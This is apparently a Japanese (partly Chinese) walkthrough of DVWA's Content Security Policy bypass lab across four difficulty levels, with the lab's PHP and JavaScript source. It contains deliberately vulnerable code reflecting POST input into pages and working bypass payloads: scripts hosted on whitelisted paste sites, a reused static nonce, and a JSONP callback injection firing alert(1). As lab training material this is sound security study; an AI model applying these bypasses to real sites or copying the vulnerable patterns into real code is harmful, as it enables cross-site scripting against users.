目次
1.CSP
1 はじめに
CSP (コンテンツ セキュリティ ポリシー): コンテンツ セキュリティ ポリシー
その本質は、どの外部リソースをロードして実行できるかをブラウザに伝えるホワイト リストを確立することです。ルールを設定するだけで済みます。インターセプト方法はブラウザ自体によって実装されます。
通常、CSP を有効にする方法は 2 つあります。1 つは HTTP ヘッダーに Content-Security-Policy を設定する方法、もう 1 つはメタ タグ <meta http-equiv="Content-Security-Policy"> を設定する方法です。
CSP は XSS 攻撃を解決する強力な手段でもあります
script-src スクリプト: 現在のドメイン名のみを信頼します。
object-src: URL を信頼しません。つまり、リソースをロードしません。
style-src スタイル シート: 信頼できるサイトのみ
child-src: HTTPS プロトコルを使用してロードする必要があります。
CSP が有効になっている場合、CSP に準拠していない外部リソースの読み込みはブロックされます。
2. (CSP) バイパス
1.低い
外部ソースからのスクリプトを含めることができ、コンテンツ セキュリティ ポリシーを確認して、ここに含める URL を入力します。
ソースコード
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' https://pastebin.com hastebin.com example.com code.jquery.com https://ssl.google-analytics.com ;"; // allows js from self, pastebin.com, hastebin.com, jquery and google analytics.
header($headerCSP);
# These might work if you can't create your own for some reason
# https://pastebin.com/raw/R570EE00
# https://hastebin.com/raw/ohulaquzex
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
<script src='" . $_POST['include'] . "'></script>
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>You can include scripts from external sources, examine the Content Security Policy and enter a URL to include here:</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
もちろん、どのようなアクセスが許可されているかは http ヘッダーから取得することもできます。
以下の外部リソースに応答できます
https://pastebin.com
hastebin.com
example.com
code.jquery.com
https://ssl.google-analytics.com
Pastebin.com にアクセスしてください
新しい貼り付けに JS コードを記述します。
新規作成 ログインなどに関係なく、直接貼り付けて新しい投稿を作成します。
「生」をクリックします
新しく生成された URL をコピーします
csp 射撃場の入力ボックスに新しい URL を入力し、[含める] をクリックしてポップアップ ウィンドウをトリガーします。(ポップアップウィンドウが表示されない場合は、https://pastebin.com が米国からのものであるためです)
2.中
<?php
$headerCSP = "Content-Security-Policy: script-src 'self' 'unsafe-inline' 'nonce-TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=';";
header($headerCSP);
// Disable XSS protections so that inline alert boxes will work
header ("X-XSS-Protection: 0");
# <script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Whatever you enter here gets dropped directly into the page, see if you can get an alert box to pop up.</p>
<input size="50" type="text" name="include" value="" id="include" />
<input type="submit" value="Include" />
</form>
';
http ヘッダー内の script-src の法的な起源が変更されました。
unsafe-inline:インライン <script> 要素: javascript:URL、インライン イベント ハンドラー (onclick など)、インライン <style> 要素などのインライン リソースの使用を許可します。これらの要素には一重引用符を含める必要があります。
nonce-source : 特定のインライン スクリプト ブロックのみを許可します。 nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA="
したがって、次のコードを直接入力できます。
<script nonce="TmV2ZXIgZ29pbmcgdG8gZ2l2ZSB5b3UgdXA=">alert(1)</script>
同じF12httpヘッダーも取得できます
テストを受けてください
正常にトリガーされました
3.高い
ヒントを教えてください
ソースコード
高.php
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>The page makes a call to ' . DVWA_WEB_PAGE_TO_ROOT . '/vulnerabilities/csp/source/jsonp.php to load some code. Modify that page to run your own code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/high.js"></script>
';
ハイ.js
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp.php?callback=solveSum";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
大まかな流れ
1,点击按钮,js创建一个script标签
2,src指向source/jsonp.php?callback=solveNum
3,appendChild(s)函数又将source/jsonp.php?callback=solveNum加入到DOM中
4,源码定义了一个solveNum函数,利用obj传参,若answer在obj中将会被执行
5,document对象可以访问HTML中的内容
6,getElementById(id)可返回对拥有指定 ID 的第一个对象的引用
7,innerHTML 属性设置或返回表格行的开始和结束标签之间的 HTML
8,这里的 script 标签会把远程加载的 solveSum({“answer”:“15”}) 当作 js 代码执行, 然后这个函数就会在页面显示答案
「計算」をクリックし、http ヘッダーを確認して、GET モードで渡されたパラメーターを取得します。
bpパケットキャプチャも確認できます
http ヘッダーに従ってペイロードを構築できます。
include=<script src="source/jsonp.php?callback=alert(1);"></script>
4.不可能
<?php
$headerCSP = "Content-Security-Policy: script-src 'self';";
header($headerCSP);
?>
<?php
if (isset ($_POST['include'])) {
$page[ 'body' ] .= "
" . $_POST['include'] . "
";
}
$page[ 'body' ] .= '
<form name="csp" method="POST">
<p>Unlike the high level, this does a JSONP call but does not use a callback, instead it hardcodes the function to call.</p><p>The CSP settings only allow external JavaScript on the local server and no inline code.</p>
<p>1+2+3+4+5=<span id="answer"></span></p>
<input type="button" id="solve" value="Solve the sum" />
</form>
<script src="source/impossible.js"></script>
';
function clickButton() {
var s = document.createElement("script");
s.src = "source/jsonp_impossible.php";
document.body.appendChild(s);
}
function solveSum(obj) {
if ("answer" in obj) {
document.getElementById("answer").innerHTML = obj['answer'];
}
}
var solve_button = document.getElementById ("solve");
if (solve_button) {
solve_button.addEventListener("click", function() {
clickButton();
});
}
Impossible クラスは JSONP 呼び出しを実行しますが、コールバック パラメーターを使用する代わりに、呼び出す関数をハードコーディングします。CSP 設定では、ローカル サーバー上の外部 JavaScript のみが許可され、インライン コードは許可されません。
コールバック パラメータが削除されており、侵入する方法がないことがわかります。
bp はパケットをキャプチャしますが、パラメータは渡しません。